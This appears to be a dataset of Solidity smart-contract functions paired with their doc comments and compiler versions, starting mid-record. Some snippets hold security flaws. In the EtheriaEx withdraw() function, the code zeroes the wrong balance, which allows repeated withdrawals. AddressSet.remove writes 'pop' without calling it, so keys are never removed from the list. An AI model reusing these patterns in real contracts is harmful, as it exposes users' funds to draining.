string(\r\n abi.encodePacked(\r\n svgString,\r\n \"\"\r\n )\r\n );\r\n\r\n placedPixels[x][y] = true;\r\n }\r\n }\r\n\r\n svgString = string(\r\n abi.encodePacked(\r\n ' ',\r\n svgString,\r\n \"\"\r\n )\r\n );\r\n\r\n return svgString;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns the SVG and metadata for a token Id\r\n * @param _tokenId The tokenId to return the SVG and metadata for.\r\n */", "function_code": "function tokenURI(uint256 _tokenId)\r\n public\r\n view\r\n override\r\n returns (string memory)\r\n {\r\n require(_exists(_tokenId));\r\n\r\n string memory tokenHash = _tokenIdToHash(_tokenId);\r\n\r\n return\r\n string(\r\n abi.encodePacked(\r\n \"data:application/json;base64,\",\r\n Library.encode(\r\n bytes(\r\n string(\r\n abi.encodePacked(\r\n '{\"name\": \"NfToken #',\r\n Library.toString(_tokenId),\r\n '\", \"description\": \"This is a collection of 10,000 unique images. All the metadata and images are generated and stored 100% on-chain. No IPFS, no API.\", \"image\": \"data:image/svg+xml;base64,',\r\n Library.encode(\r\n bytes(hashToSVG(tokenHash))\r\n ),\r\n '\",\"attributes\":',\r\n hashToMetadata(tokenHash),\r\n \"}\"\r\n )\r\n )\r\n )\r\n )\r\n )\r\n );\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns a hash for a given tokenId\r\n * @param _tokenId The tokenId to return the hash for.\r\n */", "function_code": "function _tokenIdToHash(uint256 _tokenId)\r\n public\r\n view\r\n returns (string memory)\r\n {\r\n string memory tokenHash = tokenIdToHash[_tokenId];\r\n //If this is a burned token, override the previous hash\r\n if (ownerOf(_tokenId) == 0x000000000000000000000000000000000000dEaD) {\r\n tokenHash = string(\r\n abi.encodePacked(\r\n \"1\",\r\n Library.substring(tokenHash, 1, 9)\r\n )\r\n );\r\n }\r\n\r\n return tokenHash;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns the wallet of a given wallet. Mainly for ease for frontend devs.\r\n * @param _wallet The wallet to get the tokens of.\r\n */", "function_code": "function walletOfOwner(address _wallet)\r\n public\r\n view\r\n returns (uint256[] memory)\r\n {\r\n uint256 tokenCount = balanceOf(_wallet);\r\n\r\n uint256[] memory tokensId = new uint256[](tokenCount);\r\n for (uint256 i; i < tokenCount; i++) {\r\n tokensId[i] = tokenOfOwnerByIndex(_wallet, i);\r\n }\r\n return tokensId;\r\n }", "version": "0.8.4"} {"comment": "/// @notice The `escapeHatch()` should only be called as a last resort if a\n/// security issue is uncovered or something unexpected happened\n/// @param _token to transfer, use 0x0 for ether", "function_code": "function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner { \r\n require(escapeBlacklist[_token]==false);\r\n\r\n uint256 balance;\r\n\r\n /// @dev Logic for ether\r\n if (_token == 0x0) {\r\n balance = this.balance;\r\n escapeHatchDestination.transfer(balance);\r\n EscapeHatchCalled(_token, balance);\r\n return;\r\n }\r\n /// @dev Logic for tokens\r\n ERC20 token = ERC20(_token);\r\n balance = token.balanceOf(this);\r\n token.transfer(escapeHatchDestination, balance);\r\n EscapeHatchCalled(_token, balance);\r\n }", "version": "0.4.18"} {"comment": "// set a token upgrader", "function_code": "function setTokenUpgrader(address _newToken)\r\n external\r\n onlyUpgradeMaster\r\n notInUpgradingState\r\n {\r\n require(canUpgrade());\r\n require(_newToken != address(0));\r\n\r\n tokenUpgrader = TokenUpgrader(_newToken);\r\n\r\n // Handle bad interface\r\n require(tokenUpgrader.isTokenUpgrader());\r\n\r\n // Make sure that token supplies match in source and target\r\n require(tokenUpgrader.originalSupply() == totalSupply());\r\n\r\n emit TokenUpgraderIsSet(address(tokenUpgrader));\r\n }", "version": "0.5.0"} {"comment": "// Deposits underlying assets from the user into the vault contract", "function_code": "function deposit(uint256 _amount) public nonReentrant {\r\n require(!address(msg.sender).isContract() && msg.sender == tx.origin, \"deposit: !contract\");\r\n require(isActive, 'deposit: !vault');\r\n require(strategy != address(0), 'deposit: !strategy');\r\n \r\n uint256 _pool = balance();\r\n uint256 _before = token.balanceOf(address(this));\r\n token.safeTransferFrom(msg.sender, address(this), _amount);\r\n uint256 _after = token.balanceOf(address(this));\r\n _amount = _after.sub(_before); // Additional check for deflationary tokens\r\n deposits[msg.sender] = deposits[msg.sender].add(_amount);\r\n totalDeposited = totalDeposited.add(_amount);\r\n uint256 shares = 0;\r\n if (totalSupply() == 0) {\r\n uint256 userMultiplier = tiers[msg.sender].mul(tierMultiplier).add(tierBase); // 5 %, 10 %, 15 %, 20 %, 25 %\r\n shares = _amount.mul(userMultiplier).div(tierBase);\r\n } else {\r\n uint256 userMultiplier = tiers[msg.sender].mul(tierMultiplier).add(tierBase); // 5 %, 10 %, 15 %, 20 %, 25 %\r\n shares = (_amount.mul(userMultiplier).div(tierBase).mul(totalSupply())).div(_pool);\r\n }\r\n\r\n _mint(msg.sender, shares);\r\n issued[msg.sender] = issued[msg.sender].add(shares);\r\n depositBlocks[msg.sender] = block.number;\r\n emit Deposit(msg.sender, _amount);\r\n emit SharesIssued(msg.sender, shares);\r\n }", "version": "0.6.12"} {"comment": "// Purchase a multiplier tier for the user", "function_code": "function purchaseMultiplier(uint256 _tiers) external returns (uint256 newTier) {\r\n require(isActive, '!active');\r\n require(strategy != address(0), '!strategy');\r\n require(_tiers > 0, '!tiers');\r\n uint256 multipliersLength = multiplierCosts.length;\r\n require(tiers[msg.sender].add(_tiers) <= multipliersLength, '!max');\r\n\r\n uint256 totalCost = 0;\r\n uint256 lastMultiplier = tiers[msg.sender].add(_tiers);\r\n for (uint256 i = tiers[msg.sender]; i < multipliersLength; i++) {\r\n if (i == lastMultiplier) {\r\n break;\r\n }\r\n totalCost = totalCost.add(multiplierCosts[i]);\r\n }\r\n\r\n require(IERC20(yvs).balanceOf(msg.sender) >= totalCost, '!yvs');\r\n yvs.safeTransferFrom(msg.sender, address(this), totalCost);\r\n newTier = tiers[msg.sender].add(_tiers);\r\n tiers[msg.sender] = newTier;\r\n emit MultiplierPurchased(msg.sender, _tiers, totalCost);\r\n }", "version": "0.6.12"} {"comment": "// only for burn after sale", "function_code": "function burnaftersale(uint256 _value) public {\r\n require(_value <= balances[msg.sender]);\r\n // no need to require value <= totalSupply, since that would imply the\r\n // sender's balance is greater than the totalSupply, which *should* be an assertion failure\r\n address burner = msg.sender;\r\n balances[burner] = balances[burner].sub(_value);\r\n totalSupply = totalSupply.sub(_value);\r\n burnedAfterSaleCount = burnedAfterSaleCount.add(_value);\r\n Burn(burner, _value);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev The Ownable constructor sets the original `owner` of the contract to the sender\r\n * account.\r\n */", "function_code": "function Ownable() {\r\n /**\r\n * ownerManualMinter contains the eth address of the party allowed to manually mint outside the crowdsale contract\r\n * this is setup at construction time \r\n */ \r\n\r\n ownerManualMinter = 0x163dE8a97f6B338bb498145536d1178e1A42AF85 ; // To be changed right after contract is deployed\r\n owner = msg.sender;\r\n }", "version": "0.4.18"} {"comment": "// ERC721 gas limits how much fun we can have\n// mint (almost) any number junks", "function_code": "function fuck(uint _numFucks) public payable {\n // NOTE: DON'T use totalSupply() because they are BURNABLE\n require(\n areWeFucking == true,\n \"TOO EARLY. sale hasn't started.\"\n );\n require(\n _tokenIdTracker.current() < ARBITRARY_QUANTITY,\n \"TOO LATE. all junks have been sold.\"\n );\n require(\n _tokenIdTracker.current()+_numFucks < ARBITRARY_QUANTITY,\n \"TOO MANY. there aren't this many junks left.\"\n );\n require(\n msg.value >= howMuchBondage(_numFucks),\n \"TOO LITTLE. pls send moar eth.\"\n );\n\n gasm(_numFucks);\n }", "version": "0.8.2"} {"comment": "// calculate how much the cost for a number of junks, across the bondage curve", "function_code": "function howMuchBondage(uint _hits) public view returns (uint) { \n require(\n _tokenIdTracker.current()+_hits < ARBITRARY_QUANTITY,\n \"TOO MANY. there aren't this many junks left.\"\n );\n\n uint _cost;\n uint _index;\n\n for (_index; _index < _hits; _index++) {\n uint currTokenId = _tokenIdTracker.current();\n _cost += howMuchForAHit(currTokenId + _index);\n }\n\n return _cost;\n }", "version": "0.8.2"} {"comment": "// lists the junks owned by the address", "function_code": "function exposeJunk(address _owner) external view returns(uint[] memory) {\n uint junks = balanceOf(_owner);\n if (junks == 0) {\n return new uint[](0);\n } else {\n uint[] memory result = new uint[](junks);\n for (uint i = 0; i < junks; i++) {\n result[i] = tokenOfOwnerByIndex(_owner, i);\n }\n return result;\n }\n }", "version": "0.8.2"} {"comment": "// special, reserved for devs", "function_code": "function wank(uint _numWanks) public onlyOwner {\n require(\n areWeFucking == false,\n \"TOO LATE. this should happen first.\"\n );\n \n // how many we're keeping\n uint maxWanks = ARBITRARY_QUANTITY - SEXY*25 - MEME*4 - MUCH*6; // 595\n uint latestId = _tokenIdTracker.current();\n\n require(\n latestId < maxWanks,\n \"TOO LATE. all the dev mints are minted.\"\n );\n\n // limit the number for minting\n uint toWank;\n if (_numWanks < ARBITRARY_LIMIT) {\n toWank = _numWanks;\n } else {\n toWank = ARBITRARY_LIMIT;\n }\n\n // mint the max number if possible\n if (latestId+toWank < maxWanks) {\n gasm(toWank);\n } else {\n uint wanksLeft = maxWanks - latestId;\n // else mint as many as possible\n gasm(wanksLeft);\n }\n }", "version": "0.8.2"} {"comment": "// Send additional tokens for new rate + Update rate for individual tokens ", "function_code": "function updateRewardAmount(address stakingToken, uint256 newRate) public onlyOwner {\r\n require(block.timestamp >= stakingRewardsGenesis, 'StakingRewardsFactory::notifyRewardAmount: not ready');\r\n\r\n StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];\r\n require(info.stakingRewards != address(0), 'StakingRewardsFactory::notifyRewardAmount: not deployed');\r\n\r\n if (info.rewardAmount > 0) {\r\n uint256 rewardAmount = info.rewardAmount.add(newRate);\r\n info.rewardAmount = 0;\r\n require(\r\n IERC20(rewardsToken).transfer(info.stakingRewards, newRate),\r\n 'StakingRewardsFactory::notifyRewardAmount: transfer failed'\r\n );\r\n \r\n StakingRewards(info.stakingRewards).updateRewardAmount(rewardAmount);\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Lets the manager create a wallet for an owner account.\n * The wallet is initialised with the version manager module, a version number and a first guardian.\n * The wallet is created using the CREATE opcode.\n * @param _owner The account address.\n * @param _versionManager The version manager module\n * @param _guardian The guardian address.\n * @param _version The version of the feature bundle.\n */", "function_code": "function createWallet(\n address _owner,\n address _versionManager,\n address _guardian,\n uint256 _version\n )\n external\n onlyManager\n {\n validateInputs(_owner, _versionManager, _guardian, _version);\n Proxy proxy = new Proxy(walletImplementation);\n address payable wallet = address(proxy);\n configureWallet(BaseWallet(wallet), _owner, _versionManager, _guardian, _version);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Gets the address of a counterfactual wallet with a first default guardian.\n * @param _owner The account address.\n * @param _versionManager The version manager module\n * @param _guardian The guardian address.\n * @param _salt The salt.\n * @param _version The version of feature bundle.\n * @return _wallet The address that the wallet will have when created using CREATE2 and the same input parameters.\n */", "function_code": "function getAddressForCounterfactualWallet(\n address _owner,\n address _versionManager,\n address _guardian,\n bytes32 _salt,\n uint256 _version\n )\n external\n view\n returns (address _wallet)\n {\n validateInputs(_owner, _versionManager, _guardian, _version);\n bytes32 newsalt = newSalt(_salt, _owner, _versionManager, _guardian, _version);\n bytes memory code = abi.encodePacked(type(Proxy).creationCode, uint256(walletImplementation));\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), newsalt, keccak256(code)));\n _wallet = address(uint160(uint256(hash)));\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Helper method to configure a wallet for a set of input parameters.\n * @param _wallet The target wallet\n * @param _owner The account address.\n * @param _versionManager The version manager module\n * @param _guardian The guardian address.\n * @param _version The version of the feature bundle.\n */", "function_code": "function configureWallet(\n BaseWallet _wallet,\n address _owner,\n address _versionManager,\n address _guardian,\n uint256 _version\n )\n internal\n {\n // add the factory to modules so it can add a guardian and upgrade the wallet to the required version\n address[] memory extendedModules = new address[](2);\n extendedModules[0] = _versionManager;\n extendedModules[1] = address(this);\n\n // initialise the wallet with the owner and the extended modules\n _wallet.init(_owner, extendedModules);\n\n // add guardian\n IGuardianStorage(guardianStorage).addGuardian(address(_wallet), _guardian);\n\n // upgrade the wallet\n IVersionManager(_versionManager).upgradeWallet(address(_wallet), _version);\n\n // remove the factory from the authorised modules\n _wallet.authoriseModule(address(this), false);\n\n // emit event\n emit WalletCreated(address(_wallet), _owner, _guardian);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Throws if the owner, guardian, version or version manager is invalid.\n * @param _owner The owner address.\n * @param _versionManager The version manager module\n * @param _guardian The guardian address\n * @param _version The version of feature bundle\n */", "function_code": "function validateInputs(address _owner, address _versionManager, address _guardian, uint256 _version) internal view {\n require(_owner != address(0), \"WF: owner cannot be null\");\n require(IModuleRegistry(moduleRegistry).isRegisteredModule(_versionManager), \"WF: invalid _versionManager\");\n require(_guardian != (address(0)), \"WF: guardian cannot be null\");\n require(_version > 0, \"WF: invalid _version\");\n }", "version": "0.6.12"} {"comment": "/*\r\n * get balance\r\n */", "function_code": "function getBalance(address _tokenAddress) onlyOwner public {\r\n address _receiverAddress = getReceiverAddress();\r\n if (_tokenAddress == address(0)) {\r\n require(_receiverAddress.send(address(this).balance));\r\n return;\r\n }\r\n StandardToken token = StandardToken(_tokenAddress);\r\n uint256 balance = token.balanceOf(this);\r\n token.transfer(_receiverAddress, balance);\r\n emit LogGetToken(_tokenAddress, _receiverAddress, balance);\r\n }", "version": "0.4.26"} {"comment": "/// @notice Buy tokens from contract by sending ether", "function_code": "function buy() payable public {\r\n require(onSale);\r\n \r\n uint256 price = getPrice();\r\n \r\n uint amount = msg.value * TOKENS_PER_DOLLAR * 10 ** uint256(decimals) / price; // calculates the amount\r\n \r\n require(balanceOf[owner] - amount >= storageAmount);\r\n \r\n store.transfer(msg.value);\r\n \r\n _transfer(owner, msg.sender, amount); // makes the transfers\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Returns true if `account` is a contract.\r\n *\r\n */", "function_code": "function isContract(address account) internal view returns (bool) {\r\n // According to EIP-1052, 0x0 is the value returned for not-yet created accounts\r\n // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned\r\n // for accounts without code, i.e. `keccak256('')`\r\n bytes32 codehash;\r\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\r\n // solhint-disable-next-line no-inline-assembly\r\n assembly { codehash := extcodehash(account) }\r\n return (codehash != accountHash && codehash != 0x0);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\r\n * `recipient`, forwarding all available gas and reverting on errors.\r\n *\r\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\r\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\r\n * imposed by `transfer`, making them unable to receive funds via\r\n * `transfer`. {sendValue} removes this limitation.\r\n *\r\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\r\n *\r\n */", "function_code": "function sendValue(address payable recipient, uint256 amount) internal {\r\n require(address(this).balance >= amount, \"Address: insufficient balance\");\r\n\r\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\r\n (bool success, ) = recipient.call{ value: amount }(\"\");\r\n require(success, \"Address: unable to send value, recipient may have reverted\");\r\n }", "version": "0.6.6"} {"comment": "/**\n * Sends a cross domain message to the target messenger.\n * @param _target Target contract address.\n * @param _message Message to send to the target.\n * @param _gasLimit Gas limit for the provided message.\n */", "function_code": "function sendMessage(\n address _target,\n bytes memory _message,\n uint32 _gasLimit\n )\n override\n public\n {\n bytes memory xDomainCalldata = _getXDomainCalldata(\n _target,\n msg.sender,\n _message,\n messageNonce\n );\n\n messageNonce += 1;\n sentMessages[keccak256(xDomainCalldata)] = true;\n\n _sendXDomainMessage(xDomainCalldata, _gasLimit);\n emit SentMessage(xDomainCalldata);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Verifies a proof that a given key/value pair is present in the\n * Merkle trie.\n * @param _key Key of the node to search for, as a hex string.\n * @param _value Value of the node to search for, as a hex string.\n * @param _proof Merkle trie inclusion proof for the desired node. Unlike\n * traditional Merkle trees, this proof is executed top-down and consists\n * of a list of RLP-encoded nodes that make a path down to the target node.\n * @param _root Known root of the Merkle trie. Used to verify that the\n * included proof is correctly constructed.\n * @return _verified `true` if the k/v pair exists in the trie, `false` otherwise.\n */", "function_code": "function verifyInclusionProof(\n bytes memory _key,\n bytes memory _value,\n bytes memory _proof,\n bytes32 _root\n )\n internal\n pure\n returns (\n bool _verified\n )\n {\n bytes memory key = _getSecureKey(_key);\n return Lib_MerkleTrie.verifyInclusionProof(key, _value, _proof, _root);\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Destroys `amount` tokens from `account`, reducing the\r\n * total supply.\r\n */", "function_code": "function _burn(address account, uint256 amount) internal virtual {\r\n require(account != address(0), \"ERC20: burn from the zero address\");\r\n _beforeTokenTransfer(account, address(0), amount);\r\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\r\n _totalSupply = _totalSupply.sub(amount);\r\n emit Transfer(account, address(0), amount);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Moves tokens `amount` from `sender` to `recipient`.\r\n *\r\n * This is internal function is equivalent to {transfer}, and can be used to\r\n * e.g. implement automatic token fees, slashing mechanisms, etc.\r\n *\r\n */", "function_code": "function _transfer(address sender, address recipient, uint256 amount) internal virtual {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n _beforeTokenTransfer(sender, recipient, amount);\r\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\r\n _balances[recipient] = _balances[recipient].add(amount);\r\n emit Transfer(sender, recipient, amount);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.\r\n *\r\n * This is internal function is equivalent to `approve`, and can be used to\r\n * e.g. set automatic allowances for certain subsystems, etc.\r\n */", "function_code": "function _approve(address owner, address spender, uint256 amount) internal virtual {\r\n require(owner != address(0), \"ERC20: approve from the zero address\");\r\n require(spender != address(0), \"ERC20: approve to the zero address\");\r\n _allowances[owner][spender] = amount;\r\n emit Approval(owner, spender, amount);\r\n }", "version": "0.6.6"} {"comment": "// multiply a UQ112x112 by a uint, returning a UQ144x112\n// reverts on overflow", "function_code": "function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {\r\n uint z;\r\n require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), \"FixedPoint: MULTIPLICATION_OVERFLOW\");\r\n return uq144x112(z);\r\n }", "version": "0.6.6"} {"comment": "// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.", "function_code": "function currentCumulativePrices(\r\n address pair\r\n ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {\r\n blockTimestamp = currentBlockTimestamp();\r\n price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();\r\n price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();\r\n\r\n // if time has elapsed since the last update on the pair, mock the accumulated price values\r\n (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();\r\n if (blockTimestampLast != blockTimestamp) {\r\n // subtraction overflow is desired\r\n uint32 timeElapsed = blockTimestamp - blockTimestampLast;\r\n // addition overflow is desired\r\n // counterfactual\r\n price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;\r\n // counterfactual\r\n price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;\r\n }\r\n }", "version": "0.6.6"} {"comment": "/**\n * @notice Updates a Merkle trie and returns a new root hash.\n * @param _key Key of the node to update, as a hex string.\n * @param _value Value of the node to update, as a hex string.\n * @param _proof Merkle trie inclusion proof for the node *nearest* the\n * target node. If the key exists, we can simply update the value.\n * Otherwise, we need to modify the trie to handle the new k/v pair.\n * @param _root Known root of the Merkle trie. Used to verify that the\n * included proof is correctly constructed.\n * @return _updatedRoot Root hash of the newly constructed trie.\n */", "function_code": "function update(\n bytes memory _key,\n bytes memory _value,\n bytes memory _proof,\n bytes32 _root\n )\n internal\n pure\n returns (\n bytes32 _updatedRoot\n )\n {\n bytes memory key = _getSecureKey(_key);\n return Lib_MerkleTrie.update(key, _value, _proof, _root);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Retrieves the value associated with a given key.\n * @param _key Key to search for, as hex bytes.\n * @param _proof Merkle trie inclusion proof for the key.\n * @param _root Known root of the Merkle trie.\n * @return _exists Whether or not the key exists.\n * @return _value Value of the key if it exists.\n */", "function_code": "function get(\n bytes memory _key,\n bytes memory _proof,\n bytes32 _root\n )\n internal\n pure\n returns (\n bool _exists,\n bytes memory _value\n )\n {\n bytes memory key = _getSecureKey(_key);\n return Lib_MerkleTrie.get(key, _proof, _root);\n }", "version": "0.7.6"} {"comment": "//Read Functions", "function_code": "function tokensOfOwner(address owner)\r\n public\r\n view\r\n returns (uint256[] memory)\r\n {\r\n uint256 count = balanceOf(owner);\r\n uint256[] memory ids = new uint256[](count);\r\n for (uint256 i = 0; i < count; i++) {\r\n ids[i] = tokenOfOwnerByIndex(owner, i);\r\n }\r\n return ids;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev Mint tokens through pre or public sale\r\n */", "function_code": "function mint() external payable {\r\n\r\n require(block.timestamp >= publicSaleTimestamp, \"Public sale not live\");\r\n \r\n require(msg.value == cost, \"Incorrect funds supplied\"); // mint cost\r\n require(v1HomeTotal + 1 <= maxSupply, \"All tokens have been minted\");\r\n \r\n require(balanceOf(msg.sender) + 1 <= 8, \"Maximum of 8 tokens per wallet\");\r\n \r\n uint tokenId = v1HomeTotal + 1; \r\n _mint(msg.sender, tokenId);\r\n v1HomeTotal ++;\r\n emit TokenMinted(tokenId);\r\n \r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Returns tokenURI, which, if revealedStatus = true, is comprised of the baseURI concatenated with the tokenId\r\n */", "function_code": "function tokenURI(uint256 _tokenId) public view override returns(string memory) {\r\n\r\n require(_exists(_tokenId), \"ERC721Metadata: URI query for nonexistent token\");\r\n\r\n if (bytes(tokenURImap[_tokenId]).length == 0) {\r\n return string(abi.encodePacked(baseTokenURI, Strings.toString(_tokenId)));\r\n } else {\r\n return tokenURImap[_tokenId];\r\n }\r\n \r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Airdrop 1 token to each address in array '_to'\r\n * @param _to - array of address' that tokens will be sent to\r\n */", "function_code": "function airDrop(address[] calldata _to) external onlyOwner {\r\n\r\n require(totalSupply() + _to.length <= maxSupply, \"Minting this many would exceed total supply\");\r\n\r\n for (uint i=0; i<_to.length; i++) {\r\n uint tokenId = totalSupply() + 1;\r\n _mint(_to[i], tokenId);\r\n emit TokenMinted(tokenId);\r\n }\r\n\r\n v1HomeTotal += _to.length;\r\n\r\n\r\n \r\n }", "version": "0.8.9"} {"comment": "/**\n * @dev See {ERC1155-_beforeTokenTransfer}.\n *\n * Requirements:\n *\n * - the contract must not be paused.\n */", "function_code": "function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n require(!paused(), \"ERC1155Pausable: token transfer while paused\");\n }", "version": "0.8.4"} {"comment": "/**\n * @dev See {ERC1155-_beforeTokenTransfer}.\n */", "function_code": "function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n if (from == address(0)) {\n for (uint256 i = 0; i < ids.length; ++i) {\n _totalSupply[ids[i]] += amounts[i];\n }\n }\n\n if (to == address(0)) {\n for (uint256 i = 0; i < ids.length; ++i) {\n _totalSupply[ids[i]] -= amounts[i];\n }\n }\n }", "version": "0.8.4"} {"comment": "// withdrawal of funds on any and all stale bids that have been bested", "function_code": "function withdraw(address payable destination) public {\r\n\t\tuint256 amount = pendingWithdrawals[msg.sender];\r\n\t\trequire(amount > 0, \"EtheriaEx: no amount to withdraw\");\r\n\t\t\r\n // Remember to zero the pending refund before\r\n // sending to prevent re-entrancy attacks\r\n pendingWithdrawals[destination] = 0;\r\n payable(destination).transfer(amount);\r\n\t}", "version": "0.8.3"} {"comment": "// transferes from account 1 [@param1] to account 2 [@param 2] the designated amount [@param 3]\n// requires the person calling the function has at least the amount of the transfer authorized for them to send", "function_code": "function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\r\n _transfer(sender, recipient, amount);\r\n\r\n uint256 currentAllowance = _allowances[sender][_msgSender()];\r\n require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\r\n \r\n uint256 newAllowance = currentAllowance.sub(amount);\r\n _approve(sender, _msgSender(), newAllowance);\r\n\r\n return true;\r\n }", "version": "0.8.0"} {"comment": "// the person calling this function DECREASED the allowance of the address called [@param1] can spend\n// on their belave by the amount send [@param2]", "function_code": "function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\r\n uint256 currentAllowance = _allowances[_msgSender()][spender];\r\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\r\n\r\n uint256 newAllowance = currentAllowance.sub(subtractedValue);\r\n _approve(_msgSender(), spender, newAllowance);\r\n\r\n return true;\r\n }", "version": "0.8.0"} {"comment": "// no need to check for balance here, _transfer function checks to see if the amount\n// being transfered is >= to the balance of the person sending the tokens", "function_code": "function _approve(address owner, address spender, uint256 amount) internal virtual {\r\n require(owner != address(0), \"ERC20: approve from the zero address\");\r\n require(spender != address(0), \"ERC20: approve to the zero address\");\r\n\r\n _allowances[owner][spender] = amount;\r\n emit Approval(owner, spender, amount);\r\n }", "version": "0.8.0"} {"comment": "// force Swap back if slippage above 49% for launch.", "function_code": "function forceSwapBack() external onlyOwner {\r\n uint256 contractBalance = balanceOf(address(this));\r\n require(contractBalance >= totalSupply() / 100, \"Can only swap back if more than 1% of tokens stuck on contract\");\r\n swapBack();\r\n emit OwnerForcedSwapBack(block.timestamp);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice remove a key.\r\n * @dev key to remove must exist. \r\n * @param self storage pointer to a Set.\r\n * @param key value to remove.\r\n */", "function_code": "function remove(Set storage self, address key) internal {\r\n require(exists(self, key), \"AddressSet: key does not exist in the set.\");\r\n uint last = count(self) - 1;\r\n uint rowToReplace = self.keyPointers[key];\r\n if(rowToReplace != last) {\r\n address keyToMove = self.keyList[last];\r\n self.keyPointers[keyToMove] = rowToReplace;\r\n self.keyList[rowToReplace] = keyToMove;\r\n }\r\n delete self.keyPointers[key];\r\n self.keyList.pop;\r\n }", "version": "0.6.6"} {"comment": "// Returns the id list of all active events", "function_code": "function getActiveEvents() external view returns(uint256[] memory) {\r\n StakingEvent[] memory _events = getAllEvents();\r\n\r\n uint256 nbActive = 0;\r\n for (uint256 i = 0; i < _events.length; i++) {\r\n if (_events[i].blockEventClose >= block.number) {\r\n nbActive++;\r\n }\r\n }\r\n\r\n uint256[] memory _result = new uint256[](nbActive);\r\n uint256 idx = 0;\r\n for (uint256 i = 0; i < _events.length; i++) {\r\n if (_events[i].blockEventClose >= block.number) {\r\n _result[idx] = i;\r\n idx++;\r\n }\r\n }\r\n\r\n return _result;\r\n }", "version": "0.6.6"} {"comment": "// Returns the id list of all closed events", "function_code": "function getClosedEvents() external view returns(uint256[] memory) {\r\n StakingEvent[] memory _events = getAllEvents();\r\n\r\n uint256 nbCompleted = 0;\r\n for (uint256 i = 0; i < _events.length; i++) {\r\n if (_events[i].blockEventClose < block.number) {\r\n nbCompleted++;\r\n }\r\n }\r\n\r\n uint256[] memory _result = new uint256[](nbCompleted);\r\n uint256 idx = 0;\r\n for (uint256 i = 0; i < _events.length; i++) {\r\n if (_events[i].blockEventClose < block.number) {\r\n _result[idx] = i;\r\n idx++;\r\n }\r\n }\r\n\r\n return _result;\r\n }", "version": "0.6.6"} {"comment": "// Returns the % progress of the user towards completion of the event (100% = 1e5)", "function_code": "function getUserProgress(address _user, uint256 _eventId) external view returns(uint256) {\r\n StakingEvent memory _event = stakingEvents[_eventId];\r\n UserInfo memory _userInfo = userInfo[_user][_eventId];\r\n\r\n if (_userInfo.blockEnd == 0) {\r\n return 0;\r\n }\r\n\r\n if (_userInfo.isCompleted || block.number >= _userInfo.blockEnd) {\r\n return 1e5;\r\n }\r\n\r\n uint256 blocksLeft = _userInfo.blockEnd.sub(block.number);\r\n // Amount of blocks the user has been staked for this event\r\n uint256 blocksStaked = _event.blockStakeLength.sub(blocksLeft);\r\n\r\n return blocksStaked.mul(1e5).div(_event.blockStakeLength);\r\n }", "version": "0.6.6"} {"comment": "/**************************************************************************************\r\n * 1:1 Convertability to HODLT ERC20\r\n **************************************************************************************/", "function_code": "function hodlTIssue(uint amount) external distribute accrueByTime ifRunning {\r\n User storage u = userStruct[msg.sender];\r\n User storage t = userStruct[address(token)];\r\n u.balanceHodl = u.balanceHodl.sub(amount);\r\n t.balanceHodl = t.balanceHodl.add(amount);\r\n _pruneHodler(msg.sender);\r\n token.transfer(msg.sender, amount);\r\n emit HodlTIssued(msg.sender, amount);\r\n }", "version": "0.6.6"} {"comment": "/**************************************************************************************\r\n * Sell HodlC to buy orders, or if no buy orders open a sell order.\r\n 